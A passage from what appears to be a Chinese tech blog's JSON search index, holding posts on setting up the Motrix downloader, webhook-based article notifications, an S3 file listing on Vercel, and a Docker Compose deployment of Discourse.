Motrix。\n如果你连下载 Motrix 都觉得慢……那就先忍一忍。\n安装完成后，大概就是这个样子：\n配置 Motrix 打开 Motrix，进入 进阶设置 -\u0026gt; RPC。你会看到 RPC 监听端口（默认为 16800）和一个随机生成的 RPC 授权密钥。 记住监听端口，并复制好授权密钥（点击小眼睛后即可复制，旁边的骰子图标用于随机生成新密钥）。完成后点击“保存并应用”。\n配置浏览器 仅支持 Chromium 系浏览器（如 Chrome 和新版 Microsoft Edge），Firefox 请另寻方案。\n浏览器扩展请选择：Aria2 Explorer。\n安装完成后，右键扩展图标，进入“扩展选项”，在这里填入 Motrix 的 RPC 配置。\n最后，右键扩展并勾选“下载拦截”，然后再尝试下载文件。如果配置无误，浏览器中的下载请求会被 Aria2 Explorer 捕获并转发给 Motrix。此时你可以在 Aria2 Explorer 和 Motrix 中看到正在下载的文件。\n","permalink":"https://blog.2x.nz/posts/motrix/","summary":"\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e通过浏览器插件拦截下载请求，再将原始请求转发给 Motrix，就可以实现由 Motrix 接管下载。\u003c/p\u003e\n\u003ch1 id=\"下载-motrix\"\u003e下载 Motrix\u003c/h1\u003e\n\u003cp\u003e前往官网：https://motrix.app/ 下载 Motrix。\u003c/p\u003e\n\u003cp\u003e如果你连下载 Motrix 都觉得慢……\u003cdel\u003e那就先忍一忍\u003c/del\u003e。\u003c/p\u003e\n\u003cp\u003e安装完成后，大概就是这个样子：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/motrix/img/6a10d31c-0c39-456c-8402-ff3190a80dcc.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"配置-motrix\"\u003e配置 Motrix\u003c/h1\u003e\n\u003cp\u003e打开 Motrix，进入 \u003ccode\u003e进阶设置 -\u0026gt; RPC\u003c/code\u003e。你会看到 RPC 监听端口（默认为 \u003ccode\u003e16800\u003c/code\u003e）和一个随机生成的 RPC 授权密钥。\n\u003cimg loading=\"lazy\" src=\"/posts/motrix/img/53e255cf-965f-441d-a47a-81e20f272256.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e记住监听端口，并复制好授权密钥（点击小眼睛后即可复制，旁边的骰子图标用于随机生成新密钥）。完成后点击“保存并应用”。\u003c/p\u003e\n\u003ch1 id=\"配置浏览器\"\u003e配置浏览器\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e仅支持 Chromium 系浏览器（如 Chrome 和新版 Microsoft Edge），Firefox 请另寻方案。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e浏览器扩展请选择：\u003cstrong\u003eAria2 Explorer\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e安装完成后，右键扩展图标，进入“扩展选项”，在这里填入 Motrix 的 RPC 配置。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/motrix/img/0f4a510b-378a-45ab-a35f-88cfa53593e3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e最后，右键扩展并勾选“下载拦截”，然后再尝试下载文件。如果配置无误，浏览器中的下载请求会被 Aria2 Explorer 捕获并转发给 Motrix。此时你可以在 \u003cstrong\u003eAria2 Explorer\u003c/strong\u003e 和 \u003cstrong\u003eMotrix\u003c/strong\u003e 中看到正在下载的文件。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/motrix/img/57fa7b18-541e-4115-a160-cd742735e298.webp\"\u003e\u003c/p\u003e","title":"浏览器自带下载慢？你需要一个第三方下载器 Motrix！"},{"content":"原理解析 静态博客一般会托管在Github来方便静态网站构建服务提供商进行自动构建和发布站点。\n我们可以通过 WebHook 在文章更新后自动通知订阅者。但单一 WebHook 有各自的缺陷：\nWebHook 类型 优点 缺点 Github WebHook 能检测文件变动，知道哪些文章更新了 不知道构建时长，需要设置保守延迟 Netlify WebHook 构建完成后通知，时机精准 不能检测文件变动 最佳方案是 两者结合使用，工作流为：\nPush → Github WebHook 通知Bot（记录变动文章） → Netlify WebHook 通知构建完成 → Bot 即刻推送文章更新消息\n正式开始 设置你的自托管WebHook接收器 我使用Koishi编写一个插件创建一个HTTP服务器用于接受WebHook，并且在接收到指定提交信息的WebHook后将在2分钟后在我的群里广播文章更新消息\n如果你的服务在内网，可以使用Cloudflared将WebHook接收服务器开放到公网。否则Github将无法将WebHook信息发送到你的服务\n配置Github Repo WebHook 打开你的博客仓库，在仓库设置找到WebHooks\n添加一个新的WebHook，如图设置\n配置Netlify WebHook 如果你的站点部署在 Netlify，可以进一步配置构建完成通知。\n添加HTTP POST钩子\n创建一个部署成功钩子\nBot端配置 设置一个双监听WebHook服务器，同时接受Github和Netlify的WebHook\n开发测试 在你的博客仓库进行一次Push操作，检查是否收到了WebHook信息并且分析信息配置你的WebHook接收器做后续操作\n","permalink":"https://blog.2x.nz/posts/github-webhook/","summary":"\u003ch1 id=\"原理解析\"\u003e原理解析\u003c/h1\u003e\n\u003cp\u003e静态博客一般会托管在Github来方便静态网站构建服务提供商进行自动构建和发布站点。\u003c/p\u003e\n\u003cp\u003e我们可以通过 WebHook 在文章更新后自动通知订阅者。但单一 WebHook 有各自的缺陷：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eWebHook 类型\u003c/th\u003e\n          \u003cth\u003e优点\u003c/th\u003e\n          \u003cth\u003e缺点\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eGithub WebHook\u003c/td\u003e\n          \u003ctd\u003e能检测文件变动，知道哪些文章更新了\u003c/td\u003e\n          \u003ctd\u003e不知道构建时长，需要设置保守延迟\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eNetlify WebHook\u003c/td\u003e\n          \u003ctd\u003e构建完成后通知，时机精准\u003c/td\u003e\n          \u003ctd\u003e不能检测文件变动\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e最佳方案是 \u003cstrong\u003e两者结合使用\u003c/strong\u003e，工作流为：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePush\u003c/strong\u003e → \u003cstrong\u003eGithub WebHook 通知Bot（记录变动文章）\u003c/strong\u003e → \u003cstrong\u003eNetlify WebHook 通知构建完成\u003c/strong\u003e → \u003cstrong\u003eBot 即刻推送文章更新消息\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003ch2 id=\"设置你的自托管webhook接收器\"\u003e设置你的自托管WebHook接收器\u003c/h2\u003e\n\u003cp\u003e我使用Koishi编写一个插件创建一个HTTP服务器用于接受WebHook，并且在接收到指定提交信息的WebHook后将在2分钟后在我的群里广播文章更新消息\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/53b434e4-cf0e-4cfc-a688-054d13f1c01a.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你的服务在内网，可以使用Cloudflared将WebHook接收服务器开放到公网。否则Github将无法将WebHook信息发送到你的服务\u003c/p\u003e\n\u003ch2 id=\"配置github-repo-webhook\"\u003e配置Github Repo WebHook\u003c/h2\u003e\n\u003cp\u003e打开你的博客仓库，在仓库设置找到WebHooks\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/e899ddd6-9b3e-4d0a-848b-7f9b43d2004e.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e添加一个新的WebHook，如图设置\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/7fa35782-2d3c-4d18-afca-cb7db8ee36fc.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"配置netlify-webhook\"\u003e配置Netlify WebHook\u003c/h2\u003e\n\u003cp\u003e如果你的站点部署在 Netlify，可以进一步配置构建完成通知。\u003c/p\u003e\n\u003cp\u003e添加HTTP POST钩子\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/2025-08-09-23-15-10-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e创建一个部署成功钩子\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/2025-08-09-23-15-40-image.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"bot端配置\"\u003eBot端配置\u003c/h2\u003e\n\u003cp\u003e设置一个双监听WebHook服务器，同时接受Github和Netlify的WebHook\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/2025-08-09-23-36-50-5ec10aad91b98d8d36699c7956c705f0.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/2025-08-09-23-39-27-cfc2d6a91a07455adbcee0c491143640.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-webhook/img/2025-08-09-23-57-02-image.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"开发测试\"\u003e开发测试\u003c/h2\u003e\n\u003cp\u003e在你的博客仓库进行一次Push操作，检查是否收到了WebHook信息并且分析信息配置你的WebHook接收器做后续操作\u003c/p\u003e","title":"利用WebHook来为你的订阅者推送文章更新信息"},{"content":" 视频教程（推荐）： https://www.bilibili.com/video/BV17b5gz5Ea4\n正式开始 使用方法非常简单，进入GitHub仓库：GitHub - afoim/S3cloudrive-index: S3cloudrive public directory listing. Powered by Next.js.\n按照README部署即可\n原理 采用Vercel Function登录S3，获取文件列表传递给前端拼接URL显示，原项目是对接的OneDrive：iRedScarf/onedrive-index: OneDrive public directory listing, and One-Click Deploy to Vercel. Powered by Vercel and Next.js.。本项目仅更改了后端对接的存储类型，理论上你可以三改后对接任意存储\u0026hellip;\n本人想对接天翼云盘PC的驱动，但是登录鉴权一直不会做，有没有人来帮帮我（）\n","permalink":"https://blog.2x.nz/posts/s3cloudrive/","summary":"\u003cblockquote\u003e\n\u003cp\u003e视频教程（推荐）： \u003ca href=\"https://www.bilibili.com/video/BV17b5gz5Ea4\"\u003ehttps://www.bilibili.com/video/BV17b5gz5Ea4\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e使用方法非常简单，进入GitHub仓库：\u003ca href=\"https://github.com/afoim/S3cloudrive-index\"\u003eGitHub - afoim/S3cloudrive-index: S3cloudrive public directory listing. Powered by Next.js.\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e按照README部署即可\u003c/p\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e采用Vercel Function登录S3，获取文件列表传递给前端拼接URL显示，原项目是对接的OneDrive：\u003ca href=\"https://github.com/iRedScarf/onedrive-index\"\u003eiRedScarf/onedrive-index: OneDrive public directory listing, and One-Click Deploy to Vercel. Powered by Vercel and Next.js.\u003c/a\u003e。本项目仅更改了后端对接的存储类型，理论上你可以三改后对接任意存储\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cdel\u003e本人想对接天翼云盘PC的驱动，但是登录鉴权一直不会做，有没有人来帮帮我（）\u003c/del\u003e\u003c/p\u003e","title":"让Vercel对接你的S3对象存储（仅下载）"},{"content":"正式开始 确保你安装了 Docker 和 Docker-Compose\n选一个目录创建 docker-compose.yml\n写入内容\nversion: \u0026#39;2\u0026#39; services: postgresql: image: docker.io/bitnami/postgresql:11 volumes: - \u0026#39;postgresql_data:/bitnami/postgresql\u0026#39; environment: - POSTGRESQL_POSTGRES_PASSWORD=admin12345 - POSTGRESQL_USERNAME=ex_discourse - POSTGRESQL_PASSWORD=user12345 - POSTGRESQL_DATABASE=example_discourse redis: image: docker.io/bitnami/redis:6.0 environment: - REDIS_PASSWORD=redis12345 volumes: - \u0026#39;redis_data:/bitnami/redis\u0026#39; discourse: image: docker.io/bitnami/discourse:2 ports: - \u0026#39;127.0.0.1:880:3000\u0026#39; volumes: - \u0026#39;discourse_data:/bitnami/discourse\u0026#39; depends_on: - postgresql - redis environment: # 用户和站点配置 - DISCOURSE_HOST=example.com - DISCOURSE_USERNAME=siteadmin - DISCOURSE_PASSWORD=siteadmin12345 - DISCOURSE_EMAIL=siteadmin@gmail.com # 数据库连接配置 - DISCOURSE_DATABASE_HOST=postgresql - DISCOURSE_DATABASE_PORT_NUMBER=5432 - DISCOURSE_DATABASE_USER=ex_discourse - DISCOURSE_DATABASE_PASSWORD=user12345 - DISCOURSE_DATABASE_NAME=example_discourse # Redis 连接配置 - DISCOURSE_REDIS_HOST=redis - DISCOURSE_REDIS_PORT_NUMBER=6379 - DISCOURSE_REDIS_PASSWORD=redis12345 # 使用 postgresql-client 为 Discourse 创建数据库 - POSTGRESQL_CLIENT_POSTGRES_USER=postgres - POSTGRESQL_CLIENT_POSTGRES_PASSWORD=admin12345 - POSTGRESQL_CLIENT_CREATE_DATABASE_NAME=example_discourse - POSTGRESQL_CLIENT_CREATE_DATABASE_EXTENSIONS=hstore,pg_trgm # SMTP - DISCOURSE_SMTP_HOST=smtp.mailgun.org - DISCOURSE_SMTP_PORT=587 - DISCOURSE_SMTP_USER=邮箱用户名 - DISCOURSE_SMTP_PASSWORD=邮箱密码 - DISCOURSE_SMTP_PROTOCOL=tls或ssl - DISCOURSE_SMTP_AUTH=login sidekiq: image: docker.io/bitnami/discourse:2 depends_on: - discourse volumes: - \u0026#39;sidekiq_data:/bitnami/discourse\u0026#39; command: /opt/bitnami/scripts/discourse-sidekiq/run.sh environment: # 用户和站点配置 - DISCOURSE_HOST=example.com - DISCOURSE_USERNAME=siteadmin - DISCOURSE_PASSWORD=siteadmin12345 - DISCOURSE_EMAIL=siteadmin@gmail.com # 数据库连接配置 - DISCOURSE_DATABASE_HOST=postgresql - DISCOURSE_DATABASE_PORT_NUMBER=5432 - DISCOURSE_DATABASE_USER=ex_discourse - DISCOURSE_DATABASE_PASSWORD=user12345 - DISCOURSE_DATABASE_NAME=example_discourse # Redis 连接配置 - DISCOURSE_REDIS_HOST=redis - DISCOURSE_REDIS_PORT_NUMBER=6379 - DISCOURSE_REDIS_PASSWORD=redis12345 # SMTP - DISCOURSE_SMTP_HOST=smtp.mailgun.org - DISCOURSE_SMTP_PORT=587 - DISCOURSE_SMTP_USER=邮箱用户名 - DISCOURSE_SMTP_PASSWORD=邮箱密码 - DISCOURSE_SMTP_PROTOCOL=tls或ssl - DISCOURSE_SMTP_AUTH=login volumes: postgresql_data: driver: local redis_data: driver: local discourse_data: driver: local sidekiq_data: driver: local 需要修改的部分。配置文件中两份都要改\n需替换值 解释 admin12345 数据库管理员密码（可选） ex_discourse 数据库用户名（可选） user12345 数据库用户密码（可选） example_discourse 数据库名（可选） redis12345 Redis 密码（可选） 127.0.0.1:880 映射端口（可选） example.com 网站IP或域名(不加HTTP)（必改） siteadmin 网站管理员用户名（必改） siteadmin12345 网站管理员密码（必改） siteadmin@gmail.com 网站管理员邮箱（必改） smtp.mailgun.org 邮箱HOST（必改） 587 邮箱端口。只能用587端口（必改） 邮箱用户名 邮箱用户名（必改） 邮箱密码 邮箱密码（或者授权码）（必改） tls 邮箱协议。只能用TLS协议（必改） 如果需要一个支持SMTP TLS的邮箱服务可以使用微信企业邮\n构建：\ndocker compose up -d 如果遇到 docker.io 无法访问。可以使用镜像源\n部署完毕后查看 discourse-discourse-1 容器的日志\n如果看到下述日志，则Discourse正在进行预编译资源，稍等几分钟即可\nINFO ==\u0026gt; Precompiling assets, this may take some time... 如果看到下述日志，证明Discourse已经在容器内3000端口启动了\nAccessible via: http://0.0.0.0:3000/ 接下来访问你设置的域名（如果没有做解析或者网站在内网可以使用Cloudflare Tunnel曲线救国）\n访问，大功告成\n","permalink":"https://blog.2x.nz/posts/discourse/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e确保你安装了 \u003ccode\u003eDocker\u003c/code\u003e 和 \u003ccode\u003eDocker-Compose\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e选一个目录创建 \u003ccode\u003edocker-compose.yml\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e写入内容\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;2\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eservices\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epostgresql\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker.io/bitnami/postgresql:11\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;postgresql_data:/bitnami/postgresql\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_POSTGRES_PASSWORD=admin12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_USERNAME=ex_discourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_PASSWORD=user12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_DATABASE=example_discourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eredis\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker.io/bitnami/redis:6.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eREDIS_PASSWORD=redis12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;redis_data:/bitnami/redis\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ediscourse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker.io/bitnami/discourse:2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eports\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;127.0.0.1:880:3000\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;discourse_data:/bitnami/discourse\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edepends_on\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003epostgresql\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eredis\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# 用户和站点配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_HOST=example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_USERNAME=siteadmin\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_PASSWORD=siteadmin12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_EMAIL=siteadmin@gmail.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# 数据库连接配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_HOST=postgresql\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_PORT_NUMBER=5432\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_USER=ex_discourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_PASSWORD=user12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_NAME=example_discourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Redis 连接配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_REDIS_HOST=redis\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_REDIS_PORT_NUMBER=6379\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_REDIS_PASSWORD=redis12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# 使用 postgresql-client 为 Discourse 创建数据库\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_CLIENT_POSTGRES_USER=postgres\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_CLIENT_POSTGRES_PASSWORD=admin12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_CLIENT_CREATE_DATABASE_NAME=example_discourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePOSTGRESQL_CLIENT_CREATE_DATABASE_EXTENSIONS=hstore,pg_trgm\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# SMTP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_HOST=smtp.mailgun.org\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_PORT=587\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_USER=邮箱用户名\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_PASSWORD=邮箱密码\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_PROTOCOL=tls或ssl\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_AUTH=login\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esidekiq\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker.io/bitnami/discourse:2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edepends_on\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ediscourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;sidekiq_data:/bitnami/discourse\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan 